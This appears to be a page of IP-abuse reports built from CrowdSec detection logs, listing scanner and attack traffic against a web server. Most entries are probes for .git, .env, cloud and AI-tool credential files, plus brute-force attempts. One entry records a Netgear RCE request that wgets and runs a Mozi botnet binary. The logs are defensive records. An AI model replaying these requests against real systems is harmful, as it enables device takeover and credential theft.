π©πͺ
34.40.43.78
27 Oct 2026
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 15:53:40 - 15:53:40 UTC. Paths: /, /.git/c ...
show more
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 15:53:40 - 15:53:40 UTC. Paths: /, /.git/config. WAF rules: crowdsecurity/vpatch-CVE-2025-55182, crowdsecurity/vpatch-git-config.
show less
Hacking
Web App Attack
πΏπ¦
34.35.10.128
27 Oct 2026
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 15:50:34 - 15:50:34 UTC. Paths: /, /.git/c ...
show more
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 15:50:34 - 15:50:34 UTC. Paths: /, /.git/config. WAF rules: crowdsecurity/vpatch-CVE-2025-55182, crowdsecurity/vpatch-git-config.
show less
Hacking
Web App Attack
πΊπΈ
66.132.159.133
27 Oct 2026
CrowdSec crowdsecurity/http-bad-user-agent: 2 events 2026-10-27 15:40:31 - 15:40:33 UTC. Method: GET ...
show more
CrowdSec crowdsecurity/http-bad-user-agent: 2 events 2026-10-27 15:40:31 - 15:40:33 UTC. Method: GET. Paths: /auth/resource/bf9a23ac-70fb-4cf3-ae96-ca5d89ec37f9, /favicon.ico. Status: 200. UA: Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
show less
Bad Web Bot
Web App Attack
π°π·
14.34.249.175
27 Oct 2026
CrowdSec crowdsecurity/CVE-2017-9841: 1 events 2026-10-27 13:41:51 - 13:41:51 UTC. Method: GET. Path ...
show more
CrowdSec crowdsecurity/CVE-2017-9841: 1 events 2026-10-27 13:41:51 - 13:41:51 UTC. Method: GET. Paths: /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php. Status: 404. UA: libredtail-http
show less
Hacking
Web App Attack
π§πͺ
34.156.56.233
27 Oct 2026
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 13:16:49 - 13:16:49 UTC. Paths: /.aws/.env ...
show more
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 13:16:49 - 13:16:49 UTC. Paths: /.aws/.env, /.git/config. WAF rules: crowdsecurity/vpatch-env-access, crowdsecurity/vpatch-git-config.
show less
Hacking
Web App Attack
π¨π¦
152.236.14.113
27 Oct 2026
CrowdSec crowdsecurity/CVE-2017-9841: 1 events 2026-10-27 13:16:29 - 13:16:29 UTC. Method: POST. Pat ...
show more
CrowdSec crowdsecurity/CVE-2017-9841: 1 events 2026-10-27 13:16:29 - 13:16:29 UTC. Method: POST. Paths: /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php. Status: 404. UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
show less
Hacking
Web App Attack
π΅π±
194.180.49.16
27 Oct 2026
CrowdSec LePresidente/http-generic-403-bf: 6 events 2026-10-27 12:26:29 - 12:26:30 UTC. Method: POST ...
show more
CrowdSec LePresidente/http-generic-403-bf: 6 events 2026-10-27 12:26:29 - 12:26:30 UTC. Method: POST. Paths: /. Status: 403. UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0
show less
Brute-Force
Web App Attack
π΅π°
72.255.37.60
27 Oct 2026
CrowdSec crowdsecurity/netgear_rce: 1 events 2026-10-27 12:04:57 - 12:04:57 UTC. Method: GET. Paths: ...
show more
CrowdSec crowdsecurity/netgear_rce: 1 events 2026-10-27 12:04:57 - 12:04:57 UTC. Method: GET. Paths: /setup.cgi?next_file=netgear.cfg\u0026todo=syscmd\u0026cmd=rm+-rf+/tmp/*\u0026wget+http://72.255.37.60:34751/Mozi.m+-O+/tmp/netgear\u0026sh+netgear\u0026curpath=/\u0026currentsetting.htm=1. Status: 404.
show less
Hacking
Web App Attack
πΊπΈ
20.46.254.118
27 Oct 2026
CrowdSec crowdsecurity/http-cve-probing: 1 events 2026-10-27 12:04:03 - 12:04:03 UTC. Method: GET. P ...
show more
CrowdSec crowdsecurity/http-cve-probing: 1 events 2026-10-27 12:04:03 - 12:04:03 UTC. Method: GET. Paths: /developmentserver/metadatauploader. Status: 404. UA: Mozilla/5.0 zgrab/0.x
show less
Hacking
Web App Attack
π³π±
45.148.10.15
27 Oct 2026
CrowdSec crowdsecurity/http-probing: 11 events 2026-10-27 10:21:35 - 10:21:35 UTC. Method: GET. Path ...
show more
CrowdSec crowdsecurity/http-probing: 11 events 2026-10-27 10:21:35 - 10:21:35 UTC. Method: GET. Paths: /, /blog/, /wp/, /wordpress/, /site/, /news/, /cms/, /press/, /wp-json/, /blog/wp-json/, /wp/wp-json/. Status: 404. UA: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
show less
Web App Attack
πΊπΈ
40.124.116.159
27 Oct 2026
CrowdSec crowdsecurity/http-cve-probing: 1 events 2026-10-27 09:10:35 - 09:10:35 UTC. Method: GET. P ...
show more
CrowdSec crowdsecurity/http-cve-probing: 1 events 2026-10-27 09:10:35 - 09:10:35 UTC. Method: GET. Paths: /developmentserver/metadatauploader. Status: 404. UA: Mozilla/5.0 zgrab/0.x
show less
Hacking
Web App Attack
π―π΅
34.180.91.95
27 Oct 2026
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 08:46:17 - 08:46:18 UTC. Paths: /, /.git/c ...
show more
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 08:46:17 - 08:46:18 UTC. Paths: /, /.git/config. WAF rules: crowdsecurity/vpatch-CVE-2025-55182, crowdsecurity/vpatch-git-config.
show less
Hacking
Web App Attack
π΅π±
45.138.12.27
27 Oct 2026
CrowdSec crowdsecurity/http-sensitive-files: 5 events 2026-10-27 05:52:18 - 05:52:18 UTC. Method: GE ...
show more
CrowdSec crowdsecurity/http-sensitive-files: 5 events 2026-10-27 05:52:18 - 05:52:18 UTC. Method: GET. Paths: /media../.git/config, /.git/HEAD, /lib../.git/config, /images../.git/config, /.git/config. Status: 403. UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
show less
Web App Attack
π§πͺ
34.52.150.124
27 Oct 2026
CrowdSec custom/http-datacenter-abuse: 6 events 2026-10-27 04:21:27 - 04:21:27 UTC. Method: GET. Pat ...
show more
CrowdSec custom/http-datacenter-abuse: 6 events 2026-10-27 04:21:27 - 04:21:27 UTC. Method: GET. Paths: /, /.env.anthropic, /.env-sample, /.env-example, /.claude/settings.json, /.docker/config.json. Status: 404. UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
show less
Web App Attack
π§πͺ
34.62.25.61
27 Oct 2026
CrowdSec custom/http-datacenter-abuse: 6 events 2026-10-27 04:19:58 - 04:19:58 UTC. Method: GET. Pat ...
show more
CrowdSec custom/http-datacenter-abuse: 6 events 2026-10-27 04:19:58 - 04:19:58 UTC. Method: GET. Paths: /, /.aws/.env, /.amplifyrc, /.boto, /.claude/settings.local.json, /.aws/config. Status: 404. UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
show less
Web App Attack
π§πͺ
35.241.202.92
27 Oct 2026
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 03:53:01 - 03:53:01 UTC. Paths: /.docker/. ...
show more
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 03:53:01 - 03:53:01 UTC. Paths: /.docker/.env, /.git/config. WAF rules: crowdsecurity/vpatch-env-access, crowdsecurity/vpatch-git-config.
show less
Hacking
Web App Attack
π§πͺ
104.199.36.53
27 Oct 2026
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 03:45:51 - 03:45:51 UTC. Paths: /.env, /.g ...
show more
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 03:45:51 - 03:45:51 UTC. Paths: /.env, /.git/config. WAF rules: crowdsecurity/vpatch-env-access, crowdsecurity/vpatch-git-config.
show less
Hacking
Web App Attack
πΊπΈ
85.239.151.74
27 Oct 2026
CrowdSec crowdsecurity/http-path-traversal-probing: 4 events 2026-10-27 03:42:05 - 03:42:05 UTC. Met ...
show more
CrowdSec crowdsecurity/http-path-traversal-probing: 4 events 2026-10-27 03:42:05 - 03:42:05 UTC. Method: GET. Paths: /js../.git/config, /static../.git/config, /media../.git/config, /images../.git/config. Status: 403. UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
show less
Web App Attack
π§πͺ
35.240.58.49
27 Oct 2026
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 03:34:59 - 03:34:59 UTC. Paths: /.docker/. ...
show more
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-27 03:34:59 - 03:34:59 UTC. Paths: /.docker/.env, /.git/config. WAF rules: crowdsecurity/vpatch-env-access, crowdsecurity/vpatch-git-config.
show less
Hacking
Web App Attack
π³π±
94.154.43.63
27 Oct 2026
CrowdSec crowdsecurity/ssh-bf: 6 events 2026-10-27 02:19:10 - 02:19:10 UTC. Usernames tried: root.
Brute-Force
SSH
π©πͺ
157.230.19.140
26 Oct 2026
CrowdSec custom/http-datacenter-abuse: 6 events 2026-10-26 23:37:17 - 23:37:23 UTC. Method: GET. Pat ...
show more
CrowdSec custom/http-datacenter-abuse: 6 events 2026-10-26 23:37:17 - 23:37:23 UTC. Method: GET. Paths: /, /console/, /server, /server-status, /about, /login.action. Status: 404. UA: Mozilla/5.0 (l9scan/2.0.934323e21333e28363e27373; +https://leakix.net)
show less
Web App Attack
π©πͺ
139.59.132.8
26 Oct 2026
CrowdSec custom/http-datacenter-abuse: 6 events 2026-10-26 23:36:26 - 23:36:32 UTC. Method: GET. Pat ...
show more
CrowdSec custom/http-datacenter-abuse: 6 events 2026-10-26 23:36:26 - 23:36:32 UTC. Method: GET. Paths: /, /console/, /server, /server-status, /about, /login.action. Status: 404. UA: Mozilla/5.0 (l9scan/2.0.934323e21333e28363e27373; +https://leakix.net)
show less
Web App Attack
π¨π¦
159.89.127.165
26 Oct 2026
CrowdSec custom/http-datacenter-abuse: 6 events 2026-10-26 23:36:16 - 23:36:22 UTC. Method: GET. Pat ...
show more
CrowdSec custom/http-datacenter-abuse: 6 events 2026-10-26 23:36:16 - 23:36:22 UTC. Method: GET. Paths: /, /console/, /server, /server-status, /about, /login.action. Status: 404. UA: Mozilla/5.0 (l9scan/2.0.934323e21333e28363e27373; +https://leakix.net)
show less
Web App Attack
π©πͺ
138.68.86.32
26 Oct 2026
CrowdSec custom/http-datacenter-abuse: 6 events 2026-10-26 23:36:16 - 23:36:22 UTC. Method: GET. Pat ...
show more
CrowdSec custom/http-datacenter-abuse: 6 events 2026-10-26 23:36:16 - 23:36:22 UTC. Method: GET. Paths: /, /console/, /server, /server-status, /about, /login.action. Status: 404. UA: Mozilla/5.0 (l9scan/2.0.934323e21333e28363e27373; +https://leakix.net)
show less
Web App Attack
πΊπΈ
165.227.84.14
26 Oct 2026
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-26 23:35:56 - 23:36:00 UTC. Paths: /.env, /.g ...
show more
CrowdSec crowdsecurity/appsec-vpatch: 2 events 2026-10-26 23:35:56 - 23:36:00 UTC. Paths: /.env, /.git/config. WAF rules: crowdsecurity/vpatch-env-access, crowdsecurity/vpatch-git-config.
show less
Hacking
Web App Attack